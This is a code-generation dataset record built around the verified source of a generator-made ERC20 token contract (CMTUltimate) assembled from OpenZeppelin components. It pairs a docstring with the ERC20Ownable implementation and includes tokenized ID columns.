12,
529,
16,
3273,
13,
203,
203,
203,
565,
632,
4161,
511,
409,
5560,
31289,
203,
565,
445,
312,
474,
12,
2867,
2236,
16,
2254,
5034,
3844,
13,
3903,
3849,
1338,
5541,
288,
203,
3639,
389,
81,
474,
12,
4631,
16,
3844,
1769,
203,
565,
289,
203,
203,
565,
445,
18305,
12,
11890,
5034,
3844,
13,
1071,
3849,
12,
654,
39,
3462,
38,
321,
429,
16,
467,
1345,
20,
13,
1338,
5541,
288,
203,
3639,
2240,
18,
70,
321,
12,
8949,
1769,
203,
565,
289,
203,
203,
565,
445,
18305,
1265,
12,
2867,
2236,
16,
2254,
5034,
3844,
13,
1071,
3849,
12,
654,
39,
3462,
38,
321,
429,
16,
467,
1345,
20,
13,
288,
203,
3639,
2240,
18,
70,
321,
1265,
12,
4631,
16,
3844,
1769,
203,
565,
289,
203,
203,
565,
445,
389,
5771,
1345,
5912,
12,
2867,
628,
16,
1758,
358,
16,
2254,
5034,
3844,
13,
2713,
3849,
12,
203,
5411,
4232,
39,
3462,
16,
4232,
39,
3462,
4664,
1845,
13,
288,
203,
3639,
2240,
6315,
5771,
1345,
5912,
12,
2080,
16,
358,
16,
3844,
1769,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
// File @openzeppelin/contracts/token/ERC20/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is ERC20 {
uint256 immutable private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint256 cap_) {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_mint}.
*/
function _mint(address account, uint256 amount) internal virtual override {
require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), currentAllowance - amount);
_burn(account, amount);
}
}
// File contracts/helpers/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 private immutable _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
// File contracts/helpers/ERC20Mintable.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Mintable
* @dev Implementation of the ERC20Mintable. Extension of {ERC20} that adds a minting behaviour.
*/
abstract contract ERC20Mintable is ERC20 {
// indicates if minting is finished
bool private _mintingFinished = false;
/**
* @dev Emitted during finish minting
*/
event MintFinished();
/**
* @dev Tokens can be minted only before minting finished.
*/
modifier canMint() {
require(!_mintingFinished, "ERC20Mintable: minting is finished");
_;
}
/**
* @return if minting is finished or not.
*/
function mintingFinished() external view returns (bool) {
return _mintingFinished;
}
/**
* @dev Function to mint tokens.
*
* WARNING: it allows everyone to mint new tokens. Access controls MUST be defined in derived contracts.
*
* @param account The address that will receive the minted tokens
* @param amount The amount of tokens to mint
*/
function mint(address account, uint256 amount) external canMint {
_mint(account, amount);
}
/**
* @dev Function to stop minting new tokens.
*
* WARNING: it allows everyone to finish minting. Access controls MUST be defined in derived contracts.
*/
function finishMinting() external canMint {
_finishMinting();
}
/**
* @dev Function to stop minting new tokens.
*/
function _finishMinting() internal virtual {
_mintingFinished = true;
emit MintFinished();
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File @openzeppelin/contracts/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping (address => bool) members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if(!hasRole(role, account)) {
revert(string(abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)));
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File contracts/helpers/ERC20Roles.sol
pragma solidity ^0.8.0;
contract ERC20Roles is AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER");
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
}
modifier onlyMinter() {
require(
hasRole(MINTER_ROLE, _msgSender()),
"ERC20Roles: caller does not have the MINTER role"
);
_;
}
}
// File contracts/helpers/ERC20Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract ERC20Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "ERC20Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"ERC20Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File contracts/helpers/TokenRecover.sol
pragma solidity ^0.8.0;
/**
* @title TokenRecover
* @dev Allows owner to recover any ERC20 sent into the contract
*/
contract TokenRecover is ERC20Ownable {
/**
* @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
* @param tokenAddress The token contract address
* @param tokenAmount Number of tokens to be sent
*/
function recoverERC20(address tokenAddress, uint256 tokenAmount)
public
virtual
onlyOwner
{
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
// File contracts/service/FeeReceiver.sol
pragma solidity ^0.8.0;
/**
* @title FeeReceiver
* @dev Implementation of the FeeReceiver
*/
abstract contract FeeReceiver {
constructor(address payable receiver) payable {
payable(receiver).transfer(msg.value);
}
}
// File contracts/helpers/TokenGeneratorMetadata.sol
pragma solidity ^0.8.0;
/**
* @title TokenGeneratorMetadata
* @author Create My Token (https://www.createmytoken.com/)
* @dev Implementation of the TokenGeneratorMetadata
*/
contract TokenGeneratorMetadata {
string private constant _GENERATOR = "https://www.createmytoken.com/";
string private constant _VERSION = "v1.0.3";
/**
* @dev Returns the token generator metadata.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public pure returns (string memory) {
return _VERSION;
}
}
// File contracts/tokens/CMTUltimate.sol
pragma solidity ^0.8.0;
/**
* @title CMTUltimate
* @dev Implementation of the CMTUltimate
*/
contract CMTUltimate is
ERC20Decimals,
ERC20Capped,
ERC20Mintable,
ERC20Burnable,
ERC20Roles,
TokenRecover,
FeeReceiver,
TokenGeneratorMetadata
{
constructor(
string memory __cmt_name,
string memory __cmt_symbol,
uint8 __cmt_decimals,
uint256 cap_,
uint256 __cmt_initial,
address payable __cmt_feeTarget
)
payable
ERC20(__cmt_name, __cmt_symbol)
ERC20Decimals(__cmt_decimals)
ERC20Capped(cap_)
FeeReceiver(__cmt_feeTarget)
{
// Immutable variables cannot be read during contract creation time
// https://github.com/ethereum/solidity/issues/10463
require(__cmt_initial <= cap_, "ERC20Capped: cap exceeded");
ERC20._mint(_msgSender(), __cmt_initial);
}
function decimals()
public
view
virtual
override(ERC20, ERC20Decimals)
returns (uint8)
{
return super.decimals();
}
/**
* @dev Function to mint tokens.
*
* NOTE: restricting access to addresses with MINTER role. See {ERC20Mintable-mint}.
*
* @param account The address that will receive the minted tokens
* @param amount The amount of tokens to mint
*/
function _mint(address account, uint256 amount)
internal
override(ERC20, ERC20Capped)
onlyMinter
{
super._mint(account, amount);
}
/**
* @dev Function to stop minting new tokens.
*
* NOTE: restricting access to owner only. See {ERC20Mintable-finishMinting}.
*/
function _finishMinting() internal override onlyOwner {
super._finishMinting();
}
} | * @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner./ | abstract contract ERC20Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "ERC20Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"ERC20Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
| 2,001,193 | [
1,
8924,
1605,
1492,
8121,
279,
5337,
2006,
3325,
12860,
16,
1625,
1915,
353,
392,
2236,
261,
304,
3410,
13,
716,
848,
506,
17578,
12060,
2006,
358,
2923,
4186,
18,
2525,
805,
16,
326,
3410,
2236,
903,
506,
326,
1245,
716,
5993,
383,
1900,
326,
6835,
18,
1220,
848,
5137,
506,
3550,
598,
288,
13866,
5460,
12565,
5496,
1220,
1605,
353,
1399,
3059,
16334,
18,
2597,
903,
1221,
2319,
326,
9606,
1375,
3700,
5541,
9191,
1492,
848,
506,
6754,
358,
3433,
4186,
358,
13108,
3675,
999,
358,
326,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
